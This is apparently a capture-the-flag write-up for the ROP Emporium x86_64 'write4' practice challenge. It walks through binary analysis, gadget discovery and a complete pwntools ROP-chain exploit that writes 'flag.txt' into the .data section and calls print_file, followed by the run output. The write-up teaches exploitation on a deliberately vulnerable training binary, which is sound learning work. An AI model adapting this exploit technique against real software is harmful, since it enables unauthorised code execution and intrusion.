Ropemporium x86_64 write4
write4
Description
Things have been rearranged a little for this challenge; the printing logic has been moved into a separate library in an attempt to mitigate the alternate solution that is possible in the callme challenge. The stack smash also takes place in a function within that library, but don’t worry this will have no effect on your ROP chain.
Important! A PLT entry for a function named print_file() exists within the challenge binary, simply call it with the name of a file you wish to read (like “flag.txt”) as the 1st argument.
Discovery
04_write$ ./write4
write4 by ROP Emporium
x86_64
Go ahead and give me the input already!
> AAAAAAAAAAAAAAAAAAAAAAA
Thank you!
Security checks
gef➤ checksec
[+] checksec for '/home/jce/w/ropemporium/x64/04_write/write4'
Canary : ✘
NX : ✓
PIE : ✘
Fortify : ✘
RelRO : Partial
Functions
gef➤ disass main
Dump of assembler code for function main:
0x0000000000400607 <+0>: push rbp
0x0000000000400608 <+1>: mov rbp,rsp
0x000000000040060b <+4>: call 0x400500 <pwnme@plt>
0x0000000000400610 <+9>: mov eax,0x0
0x0000000000400615 <+14>: pop rbp
0x0000000000400616 <+15>: ret
End of assembler dump.
The pwnme function is imported from libwrite4.so:
gef➤ disas pwnme
Dump of assembler code for function pwnme@plt:
0x0000000000400500 <+0>: jmp QWORD PTR [rip+0x200b12] # 0x601018 <pwnme@got.plt>
0x0000000000400506 <+6>: push 0x0
0x000000000040050b <+11>: jmp 0x4004f0
End of assembler dump.
And a print_file function too:
gef➤ disass print_file
Dump of assembler code for function print_file@plt:
0x0000000000400510 <+0>: jmp QWORD PTR [rip+0x200b0a] # 0x601020 <print_file@got.plt>
0x0000000000400516 <+6>: push 0x1
0x000000000040051b <+11>: jmp 0x4004f0
We have to call the print_file function with a memory address containing “flag.txt”.
Looking for memory address to store “flag.txt”
04_write$ readelf -S write4
. . .
[21] .got PROGBITS 0000000000600ff0 00000ff0
0000000000000010 0000000000000008 WA 0 0 8
[22] .got.plt PROGBITS 0000000000601000 00001000
0000000000000028 0000000000000008 WA 0 0 8
[23] .data PROGBITS 0000000000601028 00001028
0000000000000010 0000000000000000 WA 0 0 8
[24] .bss NOBITS 0000000000601038 00001038
0000000000000008 0000000000000000 WA 0 0 1
We can use
- the .bss section in 0000000000601038 with a size of 8 bytes
- the .data section 0000000000601028 with a size of 16 bytes.
.bss section : we can use this section to write ou “flag.txt” (8 bytes). But what about the final zero needed i C convention ?
Looking in gdb if a zero is fortunately present
gef➤ i file
Symbols from "/home/jce/w/ropemporium/x64/04_write/write4".
Local exec file:
`/home/jce/w/ropemporium/x64/04_write/write4', file type elf64-x86-64.
Entry point: 0x400520
0x0000000000400238 - 0x0000000000400254 is .interp
0x0000000000400254 - 0x0000000000400274 is .note.ABI-tag
0x0000000000400274 - 0x0000000000400298 is .note.gnu.build-id
0x0000000000400298 - 0x00000000004002d0 is .gnu.hash
0x00000000004002d0 - 0x00000000004003c0 is .dynsym
0x00000000004003c0 - 0x000000000040043c is .dynstr
0x000000000040043c - 0x0000000000400450 is .gnu.version
0x0000000000400450 - 0x0000000000400470 is .gnu.version_r
0x0000000000400470 - 0x00000000004004a0 is .rela.dyn
0x00000000004004a0 - 0x00000000004004d0 is .rela.plt
0x00000000004004d0 - 0x00000000004004e7 is .init
0x00000000004004f0 - 0x0000000000400520 is .plt
0x0000000000400520 - 0x00000000004006a2 is .text
0x00000000004006a4 - 0x00000000004006ad is .fini
0x00000000004006b0 - 0x00000000004006c0 is .rodata
0x00000000004006c0 - 0x0000000000400704 is .eh_frame_hdr
0x0000000000400708 - 0x0000000000400828 is .eh_frame
0x0000000000600df0 - 0x0000000000600df8 is .init_array
0x0000000000600df8 - 0x0000000000600e00 is .fini_array
0x0000000000600e00 - 0x0000000000600ff0 is .dynamic
0x0000000000600ff0 - 0x0000000000601000 is .got
0x0000000000601000 - 0x0000000000601028 is .got.plt
0x0000000000601028 - 0x0000000000601038 is .data
0x0000000000601038 - 0x0000000000601040 is .bss
gef➤ x/8x 0x0000000000601038
0x601038 <completed.7698>: 0x00000000 0x00000000 Cannot access memory at address .
oups No memory is allocated after the bss segment.
Practically, it works but we don’t keep .bss as as good option.
.data
If we observe the memory contents for .data :
gef➤ x/10x 0x0000000000601028
0x601028: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x601030: 0x00 0x00
We can see a zero value in 0x601030.
So the string can be written with only one 8-byte write operation.
Looking for useful gadgets
Looking for a move, add, sub xor operation with as destination a interesting operand [reg].
For example : “mov [rax], rbx” , write le value of rbx in the address pointed by rax:
# ROPgadget --binary write4|grep mov|grep ret
0x00000000004005e2 : mov byte ptr [rip + 0x200a4f], 1 ; pop rbp ; ret
0x0000000000400629 : mov dword ptr [rsi], edi ; ret
0x0000000000400610 : mov eax, 0 ; pop rbp ; ret
0x0000000000400628 : mov qword ptr [r14], r15 ; ret
We can use “mov [r14], r15”
But we must load r14, r15 to use it.
# ROPgadget --binary write4|grep "pop r14"
0x000000000040068c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040068e : pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400690 : pop r14 ; pop r15 ; ret
0x000000000040068b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040068f : pop rbp ; pop r14 ; pop r15 ; ret
0x000000000040068d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
So we have a tool write to a choosen address
0x0400628 : mov qword ptr [r14], r15 ; ret
And to load the two registers : 0x0400690 : pop r14 ; pop r15 ; ret
After that as before we can load rdi with our function parameter with a “pop rdi” gadget:
0x0400693 : pop rdi ; ret
Build the attack
- Load r14, r15 with the writable memory address and “flag.txt” respectively.
- mov [r14], r15
- load rdi with memory address
- Call print_file
ropchain | comment |
---|---|
pop r14; pop r15 | pop gadget |
@data | for r14 |
flag.txt | for r15 |
mov [r14], r15 | write |
pop rdi | set rdi |
@data | @flag.txt |
print_file | exploit |
Exploitation
Python script
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from pwn import *
import time
# break apres le read dans pwnme
gs='''
b *pwnme+150
c
'''
# Offset avant ecrasement de l'adresse de retour
offset=0x28
# Set up pwntools for the correct architecture
elf = ELF('write4')
context.binary=elf
print_file=elf.plt['print_file']
data = 0x0601028
# pop r14 ; pop r15 ; ret
pop_r1415=0x400690
# mov qword ptr [r14], r15 ; ret
write_r14=0x400628
# pop rdi ; ret
pop_rdi = 0x400693
# Produie la chaine de gadget pour ecrite un message de taille arbitraire
# à un adresse donnée.
# Le zero final doit être explicite
def w_write(addr, data):
r=b""
if type(data) == str:
data=data.encode()
for i in range(0,len(data),8):
r += p64(pop_r1415)
r += p64(addr)
r += data[i:i+8]
r += p64(write_r14)
return r
log.info("start")
PL =b"A"*offset
PL+=w_write(data,"flag.txt")
PL+=p64(pop_rdi)
PL+=p64(data)
PL+=p64(print_file)
io = process([elf.path])
if len(sys.argv)>1 and sys.argv[1] == "-d":
gdb.attach(io,gs)
time.sleep(1)
io.sendline(PL)
io.interactive()
Execution
04_write# python3 solve.py
[*] '/w/ropemporium/x64/04_write/write4'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
RUNPATH: b'.'
[*] start
[+] Starting local process '/w/ropemporium/x64/04_write/write4': pid 106
[*] Switching to interactive mode
write4 by ROP Emporium
x86_64
Go ahead and give me the input already!
> Thank you!
ROPE{a_placeholder_32byte_flag!}
[*] Got EOF while reading in interactive
Et voilà